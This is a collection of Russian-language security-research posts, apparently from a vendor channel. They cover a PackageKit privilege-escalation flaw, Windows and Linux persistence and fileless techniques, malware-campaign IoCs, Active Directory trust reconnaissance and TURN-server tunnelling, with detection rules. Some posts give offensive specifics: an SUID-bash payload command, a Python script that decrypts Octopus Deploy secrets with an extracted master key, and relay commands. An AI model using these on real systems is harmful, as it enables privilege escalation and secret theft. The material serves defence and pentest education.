Pack2TheRoot (CVE-2026-41651) — локальное повышение привилегий в Linux-системах через TOCTOU-уязвимость в сервисе PackageKit. Этот сервис предоставляет унифицированный интерфейс для установки и удаления пакетов через D-Bus и выступает прослойкой между пользовательскими приложениями и пакетным менеджером дистрибутива (APT, RPM и др.). Все операции выполняются привилегированным сервисом packagekitd от имени root.

Для взаимодействия с PackageKit эксплойт использует D-Bus API библиотеки GLib, в частности метод InstallFiles(), предназначенный для установки локальных deb/rpm-пакетов. Метод принимает набор флагов транзакции, определяющих её поведение. Часть флагов считается безопасной и может использоваться без полноценной авторизации. Например, флаг simulate выполняет только проверку зависимостей и не приводит к фактической установке ПО.

Уязвимость связана с обработкой уже созданной транзакции. После первоначальной проверки безопасности PackageKit помечает транзакцию как безопасную, однако при последующем изменении её параметров повторная проверка не выполняется. Это создаёт TOCTOU condition: транзакция, созданная с флагом simulate, может быть изменена на полноценную установку пакета с флагом none, при этом PackageKit считает авторизацию уже пройденной.

PoC создаёт два локальных пакета: dummy-пакет и payload-пакет. Первый используется для прохождения проверки безопасности в режиме simulate. Второй содержит postinst payload, выполняемый в контексте packagekitd. В опубликованном PoC используется команда

install -m 4755 /bin/bash /tmp/.suid_bash 

которая создаёт SUID-копию bash. После этого атакующий может получить root-доступ через запуск bash с аргументом -p.

Для эксплутации необходимо создать две транзакции через g_dbus_connection_call(). Первая вызывает InstallFiles() для dummy-пакета с флагом simulate, который выглядит как g_variant_new("(u^as)", 4, ...). Вторая сразу переиспользует тот же объект транзакции, подменяя пакет на payload и устанавливая флаг полноценной установки: g_variant_new("(u^as)", 0, ...). После вызова g_dbus_connection_flush_sync() обе операции попадают в очередь обработки почти одновременно.

В результате PackageKit выполняет установку второго пакета от имени root, несмотря на то, что авторизация была получена только для безопасной операции. Backend пакетного менеджера (dpkg/rpm) запускает postinst/preinst-скрипты payload-пакета с привилегиями root.

В Debian/Ubuntu это выглядит как:

/bin/sh /var/lib/dpkg/info/<package>.postinst configure 

В RPM-системах:

/bin/sh /var/tmp/rpm-tmp.* 

Постэксплуатация зависит от содержимого скрипта установки. Помимо создания SUID-shell могут использоваться: модификация /etc/shadow, добавление SSH-ключей, создание systemd unit-файлов, изменение PAM-конфигурации и другие механизмы закрепления.

Как защищаться:

Если нет возможности обновить PackageKit до пропатченной версии, детектируйте атаку по обращениям к PackageKit/GLib API или по цепочке процессов пакетного менеджера.

Для Debian-based систем индикатором может быть запуск postinst/preinst-скриптов из /var/lib/dpkg/info/ с последующим вызовом chmod или install, выставляющими SUID/SGID-биты.

Для RPM-based систем аналогичным индикатором является запуск временных скриптов /var/tmp/rpm-tmp.*.

Также полезно отслеживать инициаторов обращений к dpkg/rpm. Подозрительной может быть активность процессов dpkg-deb и rpmbuild, запущенных не через стандартные средства управления пакетами (apt, apt-get, dpkg, rpm, dnf, yum, zypper, mock, koji).

Дополнительным IoC могут выступать журнальные записи PackageKit о неуспешной аутентификации, возникающие в процессе эксплуатации уязвимости:

 
May 23 13:00:00 hostname PackageKit[PID]: uid 1000 is trying to obtain org.freedesktop.packagekit.package-install-untrusted auth (only_trusted:0) 

May 23 13:00:01 hostname  PackageKit[PID]: uid 1000 failed to obtain auth

Техника подмены Network Provider DLL (T1556.008) используется злоумышленниками уже много лет, но до сих пор не потеряла актуальности. Совсем недавно, в мае этого года, команда Microsoft Incident Response опубликовала расследование инцидента, в котором атакующие применяли эту технику для кражи учётных данных; при этом использование легитимного ПО позволяло им долгое время оставаться незамеченными.

Суть атаки:

Network Provider DLL — это динамическая библиотека в Windows, которая позволяет ОС взаимодействовать с конкретными сетевыми протоколами. Она реализует набор функций (Network Provider API), которые использует Multiple Provider Router (MPR) для связи с разными сетями.

Компоненты данного типа автоматически загружаются при входе пользователя в систему и участвуют в процессах сетевой аутентификации, восстановления сетевых ресурсов и обработки учетных данных, что делает механизм привлекательным для persistence.

Злоумышленники могут зарегистрировать вредоносный Network Provider DLL, модифицировав ключ реестра:

HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order 

Параметр ProviderOrder не хранит путь к DLL и не содержит информацию о модуле — он представляет собой только список имён провайдеров, которые Windows должна инициализировать через механизм MPR. Например:

ProviderOrder = LanmanWorkstation,RDPNP,webclient,EvilProvider 

В этом случае Windows будет воспринимать EvilProvider как нового провайдера и попытается найти его описание:

HKLM\SYSTEM\CurrentControlSet\Services\EvilProvider\NetworkProvider 

Из данного раздела система получает путь к библиотеке через параметр ProviderPath. Например:

ProviderPath = C:\ProgramData\evilprov.dll

После регистрации Windows начинает обращаться к этой DLL как к обычному провайдеру и автоматически загружает эту библиотеку при входе пользователя. При этом Windows не проверяет, является ли провайдер системным: механизм загружает все компоненты, перечисленные в ProviderOrder.

Как ловить атаку:

Детектируем изменения в ProviderOrder или создание ProviderPath для любого Network Provider, кроме штатных (LanmanWorkstation, RDPNP, webclient). Пример правила детектирования:

logsource:
   product: windows
      category: registry_event

detection:
  Selection_order:
    TargetObject|contains:
      - '\Control\NetworkProvider\Order\ProviderOrder'

    selection_provider:
      TargetObject|contains:
         -  '\Services\'
         - '\NetworkProvider'
         - '\ProviderPath'

    filter_main_system:
       Details|contains:
         - 'LanmanWorkstation'
         - 'RDPNP'
         - 'webclient'

 condition: (selection_order or selection_provider) and not filter_main_system

Наши эксперты заметили, что с начала 2026 года группировка VasyGrek (Fluffy Wolf) расширила географию своих жертв — теперь она атакует не только российские организации. Обновился и арсенал: в новых атаках засветились .vbs- и .com- дропперы, а также .com-стилер, написанный на Rust.

Атака VasyGrek обычно начинается с письма, содержащего вредоносный файл либо ссылку. Дальше реализуется цепочка заражения в двух вариантах:

1) Обфусцированный .vbs/.bat-дроппер проверяет имя хоста, а затем скрытно запускает закодированный в Base64 вредоносный PowerShell-скрипт. Тот скачивает нагрузку с легитимных хостингов (pastefy.app, yaso.su, Supabase Storage), загружает .NET-сборку в память и внедряет её в доверенный системный процесс RegAsm.exe — без записи на диск.

2) Написанный на Rust .scr/.com-дроппер бэкдора PureRAT. При установке копирует себя в каталоги %APPDATA% либо %LOCALAPPDATA% и закрепляется в автозагрузке через реестр посредством модификации ветки HKCU\..\Run\ либо через планировщик задач (с использованием утилиты schtasks.exe либо командлета PowerShell Register-ScheduledTask). После закрепления бэкдор связывается с C2 для получения дальнейших инструкций (например, сбор конфиденциальных данных).

Как ловить атаку

Рекомендуем использовать индикаторы компрометации, которые перечислены ниже.

Архивы:

f681a2e311d2a0063a76c6af38082d01 doc_10022026_buh_1c.rar
f1298bcd8a7537be8c9a63a0df264b5c doc_23012026_1c_scan.rar
8130ad8c9b9c1022c7e966d4bde76b4f doc_03_02_2026_buh.rar
11d7b50333c37b7d6e7ccf373ba77505 doc_1c_buh5gr6gss3s3fv.rar
1511effebb7df8a2e5b3a741b106b59a акт сверки.rar
96b685a02c9bdaac285db9fe2b53a2d6 akt_sverki_1c.rar
611522aec29be78d9dafa4b59bf05a20 doc_05032026.rar

.bat-дропперы:

ccff0d0751956a32a5a2fbf13d3aeca0 1C_Doc_kopiya_6rf56rwergsw3frefrsw3_PDF.bat
4af7f1f3cbbef1a1313077d336399245 akt_sverki_04022026_buh_5fegrf6dsfvsffwffs_pdf.bat
9c67e8b55cb0f31270201efdb253ca8f doc_28012026_buh_ff56fdfdf6dfdfd_pdf.bat
7b82065f2017d60e6bfc1f0ed17cd2f9 doc_23012026_skrinshot_1C.bat
f228557b220276a5970246192991b315 aktsverki_1c_buh_pdf.bat

.vbs-дропперы:

11d7b50333c37b7d6e7ccf373ba77505 doc_1c_buh5gr6gss3s3f

.scr-дропперы на RUST:

c1d5a11476ccfeb6a6c2a8de41241d4c buh_1c_10022026_akt_sverki_ferr6rr66fe6efe6fef.scr
3d8fc69b17562108653a6d479cdc0278 doc_23012026_1c_scan.scr
d5732efd1103b6d3990a0bd865d7580d 17.03.2026_doc_pdf.scr
4d8e11ce449a8f51a7007da24f9c5eea doc_05032026_1C_buhrg56svr6v2r66sfsf3sf_PDF.scr

.com-дропперы на RUST:

c9e1f8b2d3e61bbda7d514a38f668c72 платежное поручение от 19.03.2026_pdf.com
48e6c3762469c0111a246c8d88b9b9b8 doc_buh_1C_akt_sverki_06032026_PDF.com
02baba775abf19be98776a86cb746eb2 doc_05032026_1C_akt_sverki_PDF.com

.com-стилер на RUST:

c0d909ecd9fdd83c14e4067654c42d8b akt_sverki_1c_buh_ef4ef6r6gege5gsfeergerge.com`

Domains:

supabase[.]co
modaaura[.]store

URLs:

pastefy[.]app/RoBl0TEe/raw
pastefy[.]app/3ocDEoXR/raw
pastefy[.]app/sLC7Jpkp/raw
yaso[.]su/raw/NNLwEwCU
modaaura[.]store/image.jpg?12711343
pixeldrain[.]com/api/file/Wm3ZnAJr
tzqfbgbyyatqtmhbqbzw.supabase[.]co/storage/v1/object/public/17032026/VC17032026upload.txt
wkhayejmdnobpaoaeim.supabase[.]co/storage/1/object/public/hfgfjjj/image.jpg?12711343
qruqdtwlkhwaztnfrkbq.supabase[.]co/storage/v1/object/public/26012026/stl26012026upload.txt
firebasestorage.googleapis[.]com/v0/b/remasd-6c702.firebasestorage.app/o/image.jpg?al=media&token=20664d8b-9f51-4fc0-8439-3cca14ea7fc4
firebasestorage.googleapis[.]com/v0/b/remasd-6c702.firebasestorage.app/o/image.jpg?alt=media&token=b9d8bf3e-b1eb-4c56-9434-d4af570d4a91
raw.githubusercontent[.]com/sergo20261/proxihost/refs/heads/main/stl28012026upload.txt
au72nuxzv2.ufs[.]sh/f/4LhV5B1sDCwIrgzpCwYKXE4gwWVSzU8Dck1rs5tJYqhnmpx6
raw.githubusercontent[.]com/novichkova0976/buhgalteriya/refs/heads/main/akt_sverki_06032026.rar

Сегодня снова поговорим про атаку NTLM Reflection на основе уязвимости CVE-2025-33073, которая позволяет удалённому пользователю без авторизации выполнять на атакованной машине любые команды с привилегиями SYSTEM. Однажды мы уже рассказывали, как детектировать подобные атаки. А теперь покажем, как можно использовать один частный случай такой атаки в пентестах.

Обычно все Relay-атаки связаны только с хостами и сервисами в домене Active Directory. Ведь если хост не в домене, то у него нет учетных данных, а пользователи — локальные. При попытке coerce-атаки в Responder мы не увидим ничего, а в ntlmrelayx.py — сообщение вроде:

Authenticating against smb://172.16.128.143 as / FAILED

Но ситуация на одном недавнем проекте по анализу защищённости подтолкнула нас к мысли, что NTLM Reflection может быть способом скомпрометировать недоменный Windows-хост при определенных условиях:

1. Не установлен патч, закрывающий эту уязвимость.

2. Не требуется обязательная подпись SMB.

3. Есть возможность добавить или заспуфить необходимую для атаки DNS-запись (например, localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA). Зачастую в качестве DNS-серверов во всей инфраструктуре используются контроллеры домена. По умолчанию, имея любую учетную запись, можно добавить нужную A-запись. Если же хост атакующего находится в одном L2-сегменте сети с уязвимым хостом, то можно попробовать LLMNR/NBNS/mDNS spoofing (как на скриншоте выше), атаку на IPv6 с подменой DNS.

4. Возможность стригерить аутентификацию от имени системы. Например, есть анонимный PetitPotam или есть непривилегированная учетная запись.

Хоть условий и много, они выполнимы — и в этом случае NTLM Reflection может помочь получить доступ к хосту вне домена.

В конце 2024 года мы опубликовали топ-5 самых популярных ошибок при реагировании на инциденты. Третьим номером там стояло «поспешное восстановление из бэкапов» — если резервная копия была заражена, при восстановлении вы рискуете повторить инцидент (например, вас снова зашифруют).

Теперь у нас есть некоторые цифры, чтобы подтвердить популярность этой ошибки — поскольку эксперты нашего сервиса по оценке компрометации (Compromise Assessment) подготовили аналитический отчёт о пропущенных инцидентах, которые выявлены в 2025 году после обращений в этот сервис.

Одна из самых частых угроз, найденных таким способом — это скрытые веб-шеллы: они встречались в 8% проектов по оценке компрометации. При этом 64% инцидентов с веб-шеллами были отнесены к категории высокой критичности.

А закрепление веб-шеллов в системе часто происходит через бэкапы: согласно отчёту, 60% веб-шеллов было обнаружено в активных системах, а 40% находились в резервных копиях и оставались незамеченными до проведения полноценной проверки.

Распространенная проблема, помогающая скрывать угрозу — недочеты в инвентаризации активов (найдено в 25% проектов). Злоумышленники могут внедрять веб-шеллы на облачные серверы, которые не отражаются в инвентарных списках, но при этом с них регулярно делаются резервные копии. Веб-шелл может длительное время оставаться на таком сервере, и даже если он будет в какой-то момент удален, сервер резервного копирования позднее восстановит зараженные файлы.

В одном случае веб-шелл был скрыт на внутреннем файловом сервере внутри RAR-архива по следующему пути:

D:\backup\[СКРЫТО].rar/wwwroot/<…>/[СКРЫТО].aspx

В ходе расследования админы сервера сообщили, что папка была скопирована с другого сервера, который был отключен на момент проведения проверки. Из-за неполной инвентаризации активов штатная команда безопасности не обнаружила заражение отключенной машины, а после выполнения процедур резервного копирования веб-шелл оказался на внутреннем файловом сервере.

Криминалистический анализ отключенного сервера показал, что злоумышленникам удалось внедрить бэкдор на большинстве Windows-серверов в этой организации, настроив на них учетные записи локального администратора с одинаковым паролем. С помощью утилиты PsExec злоумышленники выполнили CMD-скрипт, который на всех этих серверах изменял пароль учетной записи локального админа на свой (см. скриншот выше).

Другие примеры незаметных инцидентов, а также рекомендации по их выявлению и предотвращению, будут представлены на вебинаре Missed Incidents: Compromise Assessment Insights, который проведут наши эксперты Виктор Сергеев и Амжед Ваги 2 июля в 17 часов МСК на платформе Brighttalk:
https://www.brighttalk.com/webcast/15591/669960

Злоумышленники, атакующие Linux-системы, часто используют "бесфайловое" выполнение, чтобы избежать загрузки вредоносного ПО на диск. Это помогает обойти традиционные системы детектирования и механизмы безопасности, а также оставляет значительно меньше следов для форензики.

Системный вызов memfd_create() играет важную роль в таких атаках. Этот механизм, появившийся в ядре Linux 3.17, предназначен для создания анонимных файлов, которые существуют только в оперативной памяти. Согласно руководству memfd_create(2), эти файлы ведут себя как обычные файлы — у них есть размер и отображение в памяти, их можно изменять — но они не сохраняются на физическом носителе. Вызов memfd_create() возвращает файловый дескриптор, который может быть использован вызовом fexecve(3) — это позволяет процессу выполнять бинарный файл через файловый дескриптор (FD), в отличие от вызова execve(2), где в качестве аргумента требуется путь в реальной файловой системе.

Типичная цепочка эксплуатации этого механизма состоит из трёх этапов:

1. Загрузчик вызывает memfd_create(name, flags), этот вызов возвращает файловый дескриптор. Имя (name) здесь нужно только для отладки, оно не появляется в дереве каталогов.

2. Загрузчик записывает вредоносную нагрузку (часто полученную по сети) в этот FD.

3. Загрузчик вызывает fexecve(fd, argv, envp). Ядро заменяет текущий образ процесса бинарным файлом, хранящимся в анонимном сегменте памяти.

Такой подход гарантирует, что вредоносная нагрузка не попадает на диск, и таким образом она обходит:

— системы детектирования на основе сигнатур, которые сканируют диск;
— запрет на выполнение: во многих системах каталоги с правами на запись для всех (такие, как /tmp или /dev/shm) монтируют с флагом noexec, поскольку такие каталоги часто используются злоумышленниками для выполнения вредоносного ПО.

Пример атаки:

Рассмотрим каталог, который смонтирован с флагом noexec. Попытка выполнить бинарный файл id из этой точки монтирования не сработает, даже если он запускается с высшими привилегиями и сам бинарный файл является исполняемым (см. верхний скриншот).

Это ограничение можно обойти, если бинарный файл загружен в оперативную память и выполнен напрямую из памяти. Для демонстрации мы создали веб-сервер, который хостит бинарный файл id (он может быть вредоносным в реальных атаках), и написали простой скрипт на Python, который скачивает этот бинарный файл, загружает его в память и выполняет его в памяти, обходя все защиты.

Результат можно увидеть на скриншоте (нижняя часть). Обратите внимание, что системный вызов 319 — это и есть memfd_create().

Детектирование:

Хотя файла нет на диске, ядро Linux показывает метаданные о запущенных процессах. Нужно смотреть:

— Пути в файловой системе /proc. Даже анонимные файлы отслеживаются в таких метаданных. /proc/[PID]/exe обычно указывает на путь бинарного файла, такой как /usr/bin/python3. Процесс memfd будет указывать на виртуальный путь, часто помеченный как memfd: (deleted).

— Карты памяти (memory maps). Анализ /proc/[PID]/maps или smaps показывает следы атаки. Ищите сегменты памяти с правами на выполнение (r-xp), которые сопоставлены с объектом memfd, а не с общедоступной библиотекой или известным бинарным файлом на диске.

В одном из инцидентов у клиента нашего сервиса MDR мы обнаружили, что инструмент удаленного доступа ScreenConnect использовался для установки и запуска вредоносного модуля AsyncRAT. Более детальное расследование выявило масштабную инфраструктуру для распространения скрытого установщика этого ПО с целью массовой кражи учетных данных.

На поддельных веб‑ресурсах, которые с помощью поисковой оптимизации выводятся в первые строки выдачи поисковиков, распространяются архивы‑установщики, замаскированные под популярные программы — OBS Studio, DNS Jumper, DS4Windows, Bandicam, Glary Utilities, Process Hacker, Crosshair X и др. Всего обнаружено более 90 таких сайтов на 10 языках (см. пример на скриншоте выше).

Внутри архива содержится подписанный Microsoft легитимный файл install.exe, переименованный под установщик популярного софта (например, OBS Studio), а также вредоносная библиотека install.res.1033.dll. Эта библиотека загружается на устройство при помощи техники DLL Sideloading и разворачивает сервис ScreenConnect, ожидающий дальнейших инструкций от злоумышленников. Во многих корпоративных сетях подобные инструменты удаленного доступа находятся в списке разрешенного ПО и обладают повышенными привилегиями, что очень помогает атакующим.

Как ловить атаку:

1. Отслеживайте создание сервиса ScreenConnect с подозрительными параметрами:

 
logsource:                      
    product: windows         
    category: security
detection:
    selection_access:
        EventID: 4697
        Service File Name|contains:
            - 'e=Access'
            - 'ClientService.exe'
    selection_support:
        EventID: 4697
        Service File Name|contains:
            - 'e=Support'
            - 'ClientService.exe'
    condition: selection_access or selection_support

2. Отслеживайте запуск нетипичных дочерних процессов от сервиса ScreenConnect:

logsource:
    product: windows
    category: process_creation
detection:
    selection:
        ParentImage|endswith:
            - '\\ScreenConnect.ClientService.exe'
            - '\\ScreenConnect.WindowsClient.exe'
            - '\\ScreenConnect.WindowsBackstageShell.exe'
            - '\\ScreenConnect.WindowsFileManager.exe'
        Image|endswith:
            - '\\powershell.exe'
            - '\\cmd.exe'
            - '\\net.exe'
            - '\\schtasks.exe'
            - '\\sc.exe'
            - '\\msiexec.exe'
            - '\\mshta.exe'
            - '\\rundll32.exe'
    condition: selection

В качестве общих профилактических мер рекомендуется внедрить строгий контроль за установкой программ, отслеживать появление новых сервисов удаленного администрирования и соответствующих задач планировщика, проверять подлинность источников ПО и обучать пользователей не скачивать что попало.

Подробности расследования этой масштабной атаки, а также индикаторы компрометации и дополнительные советы по детектированию — в статье Дениса Кулика "ScreenConnect под маской бесплатных программ".

Искусственный интеллект проникает повсеместно, поэтому в ближайшие годы LLM-агенты будут всё чаще упоминаться как "активные участники" в различных отчётах об инцидентах.

Такой пример есть и в опубликованном сегодня отчёте экспертов нашего сервиса по поиску компрометации (Compromise Assessment). Отчёт посвящен инцидентам, которые оставались незамеченными на протяжении нескольких недель, месяцев и даже лет, и были выявлены только в 2025 году после обращений в этот сервис.

Одна из популярных причин таких пропущенных инцидентов (24% случаев) — отсутствие продуманных и задокументированных политик безопасности и правил обработки данных. Это происходит в том числе и при разработке ПО с помощью генеративного ИИ.

В ходе одного из проектов была найдена рабочая станция на базе macOS, где ассистент Claude Code с интерфейсом командной строки использовался как расширение VS Code. Инструмент автоматически делал снапшоты файловой системы для обогащения промптов языковой модели. Командная строка родительского процесса выглядела так:

/bin/zsh -c -l source /Users/[СКРЫТО]/.claude/shell-snapshots/snapshot-zsh-[СКРЫТО].sh && eval 'ls -lh "/Users/[СКРЫТО]/Documents/[СКРЫТО]/"*.xlsx' \\< /dev/null && pwd -P >| /var/folders/[СКРЫТО]/claude-[СКРЫТО]

Собираемые ассистентом материалы включали полные списки каталогов и абсолютные пути к нескольким рабочим книгам Excel, содержащим конфиденциальные внутренние данные:

ls -lh /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx .. [СКРЫТО]

Наши эксперты рекомендовали организации провести для сотрудников ряд обучающих сессий, направленных на повышение осведомленности о рисках раскрытия конфиденциальной информации при использовании генеративного ИИ, а также разработать политику, регулирующую применение таких инструментов при работе с чувствительными данными.

Больше примеров пропущенных инцидентов, а также рекомендации по их выявлению и предотвращению, смотрите в полной версии отчёта "Незамеченные инциденты, устойчивые угрозы и проблемы реагирования".

А что касается слишком самостоятельных ИИ-ассистентов на корпоративных устройствах — у нас есть пособие по их детектированию и отключению: часть 1, часть 2, часть 3. Ту же тему обсуждаем в новом выпуске подкаста "Смени пароль".

В большинстве корпоративных инфраструктур для управления хостами и пользователями применяется Active Directory. И зачастую это не один домен и даже не один лес. В некоторых случаях это усложняет получение доступа к нужным сервисам во время проектов по анализу защищённости.

А иногда, наоборот, это облегчает повышение привилегий и компрометацию доменов — за счёт того, что между доменами в AD установлены доверительные отношения (трасты), позволяющие пользователям и объектам из одного домена получать доступ к ресурсам в другом домене.

Как добыть информацию о трастах? Один из самых удобных способов — получить TDO (Trusted Domain Object) из LDAP с фильтром objectClass=trustedDomain. Можно использовать ldapsearch или запрос 6 в LDAPPER (параметр -s 6):

ldapsearch -x -H ldap://172.16.128.148 -D "user01@domain.local" -w 'P@ssw0rd' -b "dc=domain,dc=local" -s sub  "(objectClass=trustedDomain)"

А дальше нужно разобраться с атрибутами и параметрами, которые будут видны в полученном TDO — это подсказывает, какие атаки могут быть успешны.

Например, если домен domain2.test доверяет домену domain.local и не настроена Selective authentication (флаг TRUST_ATTRIBUTE_CROSS_ORGANIZATION), учетные записи пользователей и компьютеров из domain.local будут AUTHENTICATED USERS в domain2.test. Это позволяет проводить типовые атаки на Active Directory — в частности, имея ученую запись пользователя в domain.local, в домене domain2.test можно прочитать SYSVOL, выполнить Kerberoasting или добавить учетную запись компьютера (см. скриншот).

Подробнее о том, какими способами можно получать информацию о трастах, на какие параметры стоит обращать внимание и какие ещё атаки можно использовать для получения привилегий, читайте в статье нашего эксперта Ирины Беляевой "Атаки на доверие: как использовать трасты в Active Directory".

Octopus Deploy — один из популярных инструментов для автоматизации развертывания приложений и управления CI/CD-процессами. Внутри себя Octopus может оркестрировать пайплайны, следить за релизами, развертывать приложения и хранить конфигурации и секреты для деплоя.

При этом злоумышленники могут добыть ценные данные из Octopus, даже если у них нет доступа к веб-версии инструмента. Все конфигурационные секреты Octopus хранит в отдельной базе данных, дополнительно шифруя их с помощью AES. Если злоумышленник получит доступ к системе, на которой развернут Octopus (с помощью дефолтных учетных данных или любой серверной уязвимости) — он может получить доступ к мастер-ключу, на котором шифруется база данных:

C:\Program Files\Octopus Deploy\Octopus\Octopus.Server show-master-key

Далее ему нужно будет получить доступ к базе, где хранятся данные от Octopus — и, с учетом нахождения ключа AES, расшифровать их. Самые интересные данные лежат в следующих таблицах:

dbo.Project — список проектов,
dbo.Machine — список машин внутри кубера или другой системы,
dbo.VariableSet — список переменных,
dbo.Proxy — настройки прокcи,
dbo.Account — список пользователей для управления CI/CD,
dbo.User — список внутренних пользователей Octopus.

Декодирование ключей из Octopus можно сделать вот так:

import sys
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
 
# Check for input argument
if len(sys.argv) < 3:
    print("Usage: python decrypt.py <master_key> <encoded_variable>")
    sys.exit(1)
 
# Get master key from first CLI argument
base64_key = sys.argv[1]
 
# Get encoded_variable from second CLI argument
encoded_variable = sys.argv[2]
 
# Split encoded_variable into parts
cipher_data_b64, cipher_salt_b64 = encoded_variable.split('|')
 
# Decode from Base64
cipher_data = base64.b64decode(cipher_data_b64)
cipher_salt = base64.b64decode(cipher_salt_b64)
cipher_key = base64.b64decode(base64_key)
 
# AES decryption setup
cipher = AES.new(cipher_key, AES.MODE_CBC, iv=cipher_salt)
decrypted = cipher.decrypt(cipher_data)
 
# Unpad decrypted data
decrypted_value = unpad(decrypted, AES.block_size).decode('utf-8')

Как защищаться?

Со стороны Octopus.Server:

— разрешить доступ к управляющим портам сервера с Octopus только с выделенных IP-адресов,
— отслеживать запуск утилиты Octopus.Server,
— использовать для запуска сервиса только разрешенные gMSA учетные записи.

Со стороны базы данных:

— разрешить соединения с БД только со стороны сервера Octopus,
— логировать любые SELECT/UPDATE в критичных таблицах,
— настроить алерты на изменение данных или создание новых пользователей внутри БД.

Мы уже рассказывали, что вымогатели всё чаще применяют для шифрования своих жертв тот самый BitlLocker, который легально предустановлен на компьютерах этих жертв — так что атакующим даже не нужно создавать и загружать собственную программу для шифрования. А новое расследование наших экспертов в Латинской Америке показывает, как именно злоумышленники берут под контроль этот инструмент.

Один из инцидентов произошел в Колумбии. Злоумышленники воспользовались доступной из Интернета службой удаленного доступа RDP с дополнительными открытыми портами на сервере, подключенном к хранилищу с критически важными данными. Это позволило получить контроль над системой, изменить учетные данные пользователей и запустить шифрование с помощью BitLocker.

В другом инциденте, в Мексике, атакующие получили первоначальный доступ к инфраструктуре через Microsoft SQL Server. Из кода, опубликованного на GitHub с нарушением требований безопасности, атакующие извлекли учетные данные для доступа к базе данных. А некорректная настройка MSSQL-сервера позволила с этими же учетками выполнять команды операционной системы через расширенную хранимую процедуру xp_cmdshell. В итоге стало возможно выполнять произвольные команды не только на самом сервере, но и на доступных с него узлах локальной инфраструктуры.

Мораль: хотя само шифрование с помощью BitLocker поймать непросто (это легитимная компонента Windows, её активность не блокируется антивирусами), однако в обоих случаях был простой способ устранить возможность для первоначального доступа атакующих.

В первом инциденте это — ограничение публичного доступа к RDP.

Во втором — контроль данных, размещаемых на GitHub, а также правильная настройка сервера MSSQL.

Подробности расследования этих инцидентов — в статье Эдуардо Овалье «Новый подход вымогателей: офисные принтеры, небольшие суммы выкупа и BitLocker».

Использование злоумышленниками блокчейна для передачи адресов командных центров (C2) постепенно становится не экзотикой, а рабочей техникой обхода блокировок. Согласно нашей телеметрии, вредоносы группировки HeartlessSoul с начала июня начали обращаться к блокчейн-платформе BNB Smart Chain для получения актуальных адресов C2.

Обфусцированный JavaScript-загрузчик обращался к данным транзакции в блокчейне, извлекал из них адреса C2 и продолжал выполнение цепочки заражения. Если получить данные не удавалось, использовался резервный C2-домен, захардкоженный в коде. Ранее для этой же цели атакующие использовали блокчейн Solana.

Главная ценность такой техники для атакующих — не анонимность блокчейна, а возможность хранить и обновлять C2 на инфраструктуре, которую сложно заблокировать без риска нарушить работу легитимных сервисов.

Первоначальный вектор атак группировки не изменился: HeartlessSoul продолжает распространять вредоносные MSI/XLL/LNK-файлы через фишинговые письма и мессенджер Telegram (ниже приведены примеры используемых приманок).

Затем, используя команду Powershell, вредоносный файл загружает на систему жертвы JavaScript-загрузчик, который в свою очередь загружает с C2-сервера и выполняет в памяти дополнительные модули для кражи данных и эксфильтрации.

Detection & Threat Hunting

APT-группировки используют блокчейн не только для скрытной передачи C2-адресов, но и для хранения и доставки вредоносной нагрузки (техника EtherHiding, которую использует, например, группировка UNC5342). Оба сценария уже стоит учитывать при построении процессов выявления угроз.

Один из вариантов детектирования — мониторинг обращений к легитимным сервисам блокчейн-инфраструктуры, особенно если такие подключения инициируются офисными приложениями, скриптовыми интерпретаторами или другими нетипичными процессами. Например, в активности HeartlessSoul были замечены обращения к следующим ресурсам:

api.mainnet-beta.solana.com
bsc-rpc.publicnode.com

Мониторинг обращений к API блокчейн-эксплореров и RPC-нодам различных провайдеров (например, bsc-testnet-rpc.publicnode.com, ethereum-rpc.publicnode.com, ethereum-sepolia-rpc.publicnode.com, api.bscscan.com, api.testnet.solana.com, bsc.meowrpc.com, bsc-dataseed.binance.org и др.) может помочь выявить нетипичную активность, особенно если такие соединения инициируются msiexec.exe, wscript.exe, cscript.exe, powershell.exe, node.exe, rundll32.exe или офисными приложениями.

IoCs, связанные с последней активностью HeartlessSoul:

Имена файлов-приманок:

акт передачи 08.07.2026.docx.lnk
сброс мавик 3.0.stl.lnk
ведомость.docx.lnk
Пояснение письменно.xll
Пояснение.xll
Пример пояснение.xll
Technical Overview Технический профиль.xll

Домены С2:

healthydefinitetrunk[.]com
habitsunrisenatureknee[.]com
themostbeautifulspark[.]com

Когда в проектах по анализу защищённости мы получаем RCE и пробиваем внешний периметр, возникает вопрос — есть ли на пробитом хосте выход в Интернет? Если есть, мы сможем установить быстрый канал с C2-сервером, настроить SOCKS-прокси для других тулов и продолжать работы. Но хост может оказаться глубоко в локальной сети, а доступ в Интернет — сильно порезан.

И тут полезно проверить, есть ли у заказчика специальный хост-ретранслятор для видеоконференций (ВКС) на внешнем периметре. Такие хосты называются TURN-серверами и используются для связи абонентов, которые не имеют прямой видимости, то есть находятся за NAT-ом. Но злоумышленники могут использовать такой сервер для своих целей.

Как это работает:

В WebRTC-звонках есть несколько важных сущностей.

— Signal plane: канал, через который клиенты получают параметры звонка, адреса TURN-серверов и креды;

— ICE (Interactive Connectivity Establishment): механизм, который определяет, как пирам установить наибыстрейшее соединение;

— Host candidate: пиры видят друг друга в локальной сети;

— Reflexive/STUN: пиры за NAT, но достижимы через внешний адрес;

— TURN: трафик идёт через промежуточный relay-сервер.

Если прямая связь невозможна из-за NAT/firewall, клиент отправляет на TURN запрос Allocate Request, передаёт креды и получает relay-адрес. Дальше данные идут через Send Indication или ChannelData.

Сетевой администратор может открыть доступ из внутренней сети до TURN-сервера как раз для этого, чтобы сотрудники могли пользоваться видеоконференциями. Однако у TURN-серверов есть фича перенаправления трафика, и она может быть использована для проксирования трафика куда угодно, в том числе и на наш C2.

Условия эксплуатации:

— есть RCE/foothold на внутреннем хосте;
— с него доступен TURN-сервер;
— TURN-сервер находится на внешнем периметре (виден из Интернета);
— известны turn_user / turn_pass;
— TURN разрешает relay на внешний white_ip:port.

Наличие TURN-сервера мы определяем на этапе разведки. Чтобы проверить TURN на внешнем периметре, можно использовать stunner:

stunner info -turnserver <ip>:<port>

Если TURN настроен с аутентификацией (как правило, это так), нужно подключиться к ВКС и получить логин/пароль доступа к TURN из signal plane. Затем можно проверить возможность ретрансляции на внешние адреса:

turnutils_uclient -n 1 -I -c \
  -u <turn_user> \
  -w <turn_pass> \
  -e <white_ip> \
  -r <port> \
  -p <turn_port> \
  <turn_ip>
